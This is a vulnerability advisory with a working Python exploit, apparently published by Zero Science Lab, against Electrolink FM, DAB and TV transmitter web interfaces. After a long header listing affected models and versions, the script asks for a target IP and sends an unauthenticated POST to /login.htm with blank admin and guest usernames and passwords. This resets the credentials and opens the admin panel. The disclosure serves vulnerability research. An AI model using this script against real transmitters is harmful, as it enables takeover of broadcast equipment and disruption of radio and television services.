Electrolink FM/DAB/TV Transmitter Remote Authentication Removal

`#!/usr/bin/env python  
#  
#  
# Electrolink FM/DAB/TV Transmitter Remote Authentication Removal  
#  
#  
# Vendor: Electrolink s.r.l.  
# Product web page: https://www.electrolink.com  
# Affected version: 10W, 100W, 250W, Compact DAB Transmitter  
# 500W, 1kW, 2kW Medium DAB Transmitter  
# 2.5kW, 3kW, 4kW, 5kW High Power DAB Transmitter  
# 100W, 500W, 1kW, 2kW Compact FM Transmitter  
# 3kW, 5kW, 10kW, 15kW, 20kW, 30kW Modular FM Transmitter  
# 15W - 40kW Digital FM Transmitter  
# BI, BIII VHF TV Transmitter  
# 10W - 5kW UHF TV Transmitter  
# Web version: 01.09, 01.08, 01.07  
# Display version: 1.4, 1.2  
# Control unit version: 01.06, 01.04, 01.03  
# Firmware version: 2.1  
#  
# Summary: Since 1990 Electrolink has been dealing with design and  
# manufacturing of advanced technologies for radio and television  
# broadcasting. The most comprehensive products range includes: FM  
# Transmitters, DAB Transmitters, TV Transmitters for analogue and  
# digital multistandard operation, Bandpass Filters (FM, DAB, ATV,  
# DTV), Channel combiners (FM, DAB, ATV, DTV), Motorized coaxial  
# switches, Manual patch panels, RF power meters, Rigid line and  
# accessories. A professional solution that meets broadcasters needs  
# from small community television or radio to big government networks.  
#  
# Compact DAB Transmitters 10W, 100W and 250W models with 3.5"  
# touch-screen display and in-built state of the art DAB modulator,  
# EDI input and GPS receiver. All transmitters are equipped with a  
# state-of-the art DAB modulator with excellent performances,  
# self-protected and self-controlled amplifiers ensure trouble-free  
# non-stop operation.  
#  
# 100W, 500W, 1kW and 2kW power range available on compact 2U and  
# 3U 19" frame. Built-in stereo coder, touch screen display and  
# efficient low noise air cooling system. Available models: 3kW,  
# 5kW, 10kW, 15kW, 20kW and 30kW. High efficiency FM transmitters  
# with fully broadband solid state amplifiers and an efficient  
# low-noise air cooling system.  
#  
# FM digital modulator with excellent specifications, built-in  
# stereo and RDS coder. Digital deviation limiter together with  
# ASI and SDI inputs are available. These transmitters are ready  
# for ISOFREQUENCY networks.  
#  
# Available for VHF BI and VHF BIII operation with robust desing  
# and user-friendly local and remote control. Multi-standard UHF  
# TV transmitters from 10W up to 5kW with efficient low noise air  
# cooling system. Analogue PAL, NTSC and Digital DVB-T/T2, ATSC  
# and ISDB-Tb available.  
#  
# Desc: The application is vulnerable to an unauthenticated  
# parameter manipulation that allows an attacker to set the  
# credentials to blank giving her access to the admin panel.  
# Also vulnerable to account takeover and arbitrary password  
# change.  
#  
# Tested on: Mbedthis-Appweb/12.5.0  
# Mbedthis-Appweb/12.0.0  
#  
#  
# Vulnerability discovered by Neurogenesia  
# Macedonian Information Security Research & Development Laboratory  
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience  
#  
#  
# Advisory ID: ZSL-2023-5792  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5792.php  
#  
#  
# 30.06.2023  
#  
#  
  
  
import datetime  
import requests  
  
dt = datetime.datetime.now()  
dt = dt.strftime('%d.%m.%Y %H:%M:%S')  
nul = ''  
  
print('Starting transmitter exploit at', dt)  
  
ip = input('Enter transmitter ip: ')  
if 'http' not in ip:  
ip = 'http://' + ip  
  
ep = '/login.htm'  
url = ip + ep  
  
signature = {'Accept-Encoding' : 'gzip, deflate',  
'Accept-Language' : 'ku-MK,en;q=0.1806',  
'User-Agent' : 'Broadcastso/B.B',  
'Connection' : 'keep-alive'  
}  
# ----------------- Line breaker v0.17 -----------------  
postd = { 'adminuser' : nul,  
'guestuser' : nul,  
'adminpassword' : nul,  
'guestpassword' : nul  
}  
  
print('Removing security control...')  
r = requests.post(url, data = postd, headers = signature)  
if r.status_code == 200:  
print('Done. Go and "Login".')  
else:  
print('Error')  
exit(-4)  
`